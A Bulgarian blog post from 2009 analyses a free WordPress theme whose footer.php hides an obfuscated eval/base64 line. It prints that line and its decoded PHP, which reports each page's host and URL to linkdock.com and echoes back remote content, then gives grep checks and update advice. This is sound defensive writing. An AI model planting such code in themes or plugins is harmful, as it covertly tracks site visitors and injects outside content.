Код за шпиониране в WordPress

Публикувано на: 16.08.2009

Последна актуализация на:

Код за проследяване

Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание.

Проблем:

Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния обфускиран PHP код:

eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+
X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5
K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS
Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4
HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A')));

(Всичко това е на един ред).

Което всъщност представлява следния зашифрован PHP код за проследяване:

error_reporting(0); $CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"]) ."&uri=".urlencode($_SERVER["REQUEST_URI"]); if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) { echo @file_get_contents($CodeURL); } elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) { $content = @file($CodeURL); echo @join("", $content); } elseif (function_exists("curl_init")) { $ch = curl_init($CodeURL); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); }

Както се вижда този скрипт изпраща до сървъра linkdock.com не само името на вашия домейн, а и точната страница, която в момента отваря посетителя.

Защо го правят?

С този код получават интернет трафик от различни уникални IP адреси, който се отчита в статистиките на сървъра им. Отчитат се повече посещения и сървъра може да продава рекламите си по-скъпо.
Решение:

Просто изтрий този ред от файла wp-content/themes/Red_wave/footer.php

В случая скрипта не носи някаква вреда, освен че забавя излишно зареждането на всяка една страница от блога и ако отсрещния сървър е претоварен, това ще доведе до много дълго време за зареждане на твоите страници на блога и дъното на сайта може да се чупи и размества. Ако твоя блог е прекалено често бавен, това няма да се хареса на бота на Google и е възможно твоя сайт да падне в SERP-а.

Често тази техника се ползва за да може автора на плъгина да вгради връзка към своя сайт, която да не може да бъде лесно открита и изтрита, но е възможно злонамерен сайт да разпространява безплатни темплейти или плъгини за WordPress, които да навредят на сайта, като например да изтрият всички статии.

Общи съвети за сигурност

Нека тази статия бъде предупреждение за всеки, който ползва темплейти или плъгини от непроверен източник. Съветвам те след като си свалиш тема или плъгин първо да пуснеш търсене в текста на всички файлове за опасни функции като eval(). Под Linux това става като от конзолата влезеш в директория wp-content и потърсиш с команда:

grep --include=*.php -r "eval(" *

Трябва тази команда да не изведе нищо. Ако излезеш една директория нагоре в главната уеб директория и пуснеш командата отново, там ще има няколко резултата, но повод за притеснение има само ако съдържат  base64_decode или gzinflate. Може да провериш това с командата:

grep --include=*.php -r "eval(" * | grep -e "base64_decode\|gzinflate"

Ако в eval има кодиран низ, като този по-горе и не знаеш как да го провериш, тогава по-добре не ползвай тази тема или плъгин. Колкото по красиво и професионално изглежда тимплейта, толкова по-силно ще се изкушаваш да го вградиш в твоя блог, но не искаш данните ти да пострадат нали? Знай, че това е възможно и много лесно да се направи.

Друг проблем със сигурността е небрежно написан код, който създава дупка в сигурността без знанието на разработчика на софтуера. Сигурно в 95% от случаите на хакване на сайт се дължат на това. Всеки допълнителен плъгин, който добавяш увеличава вероятността да поставиш дупка в сигурността в твоя сайт, затова не инсталирай плъгини, които не ползваш или такива, които ползваш много рядко.

Старите версии на WordPress имаха дупки в сигурността и вероятно и в бъдеще ще има такива. Много хора си мислят, че като качат най-новата версия на софтуера и така са защитени, но това не винаги е така.

Правило за обновяване на софтуер

Ето едно просто правило за обновяване, което важи не само за WordPress, а и за всеки един софтуер: В момента последната версия на WordPress е 2.8.4 и ако излезе нова версия 2.8.x като 2.8.5 или 2.8.6 обикновено запушва дупки в сигурността и поправя бъгове, затова е добре да я инсталираш веднага. Например 2.8.4 поправя дупка в сигурността на версии <=2.8.3, чрез която може да се променя паролата на admin, затова веднага обнови до тази версия.

Но ако излезе версия с нова цифра като 2.9 (или направо 3.0) е много вероятно такава версия да има дупки в сигурността и е по-добре да изчакаш версия 2.9.1 или дори 2.9.2 и чак тогава да обновиш софтуера си. По този начин намаляваш риска значително.

Прочетена:11284
1 - лоша2 - слаба3 - средна4 - добра5 - отлична (1 гласа, оценка: 5,00 от 5. Моля изберете оценка!)
Loading...
Георги Стефанов
Георги Стефанов
Магистър по информатика, който се занимава с компютри от 1988 г., професионално с програмиране от 1998 г., а с уеб технологии от 2002 г. Има богат опит при оптимизиране на бизнес сайтове. Повече от 12 години развива успешно свои уеб проекти и работи с български и международни компании за постоянно подобряване на техните сайтове и увеличаване на онлайн продажбите. 

8 comments on “Код за шпиониране в WordPress”

  1. много ценна статия, мойте благодарности

  2. И на мен много ми допадна статията.
    Съдържа много полезна информация и то поднесена на разбираем език 😉

  3. А как се разшифроват такива кодове. Имам един готов сайт, чийто index.php файл е изцяло в шифрован код и макар, че мога да сменя всичко в сайта, все пак не знам какво може да има още там... Мерси.

  4. А ето и един декодер с който може да си декодирате подобни криптирани кодове и да разберете какво всъщност се съдържа в тях.

    Може съвсем спокойно да заместите криптирания код с оригиналния, и ако има нещо което не ви се нрави, или представлява опасност за сигурността на сайта, да го промените.

    home2.paulschou. net/tools/xlate/

  5. баси хитреците, добре че има хора като теб да ни осведомяват за такива тарикати

  6. Приятел, хайде да не се хвърляш в някакви филми... за конспирация.
    Дизайна на този блог е от тип безплатен темплейт, който аз лично съм преправил за нуждите на този блог. Условието да ползваш безплатен темплейт е да оставиш връзка във футъра към сайта на автора. ganbox.com уважава труда на хората и спазва авторските права, това е единствената причина този линк да стои отдолу. Призоваваме всички, които ползват чужди темплейти да го спазват!
    Това, че същия автор си е позволил да пусне друг безплатен темплейт с прикачен код за проследяване е нещо, което ние от ganbox не одобряваме и решихме да предупредим хората, които ползват такива темплейти.

  7. Я ми кажете колко от вас потърсиха в google за AskGraphic 🙂 този автор тарикат 🙂 А ама то името му не е ли същото като на линка във футъра на ganbox 🙂 Що ли като потърся в google за askgraphic и ми излиза същата компания за уеб дизайн AskGraphic от която явно е правен дизайна на ganbox? На мене тая статия ми се струва малко прикрита реклама 😀

споделиха
phone linkedin facebook pinterest youtube rss twitter instagram facebook-blank rss-blank linkedin-blank pinterest youtube twitter instagram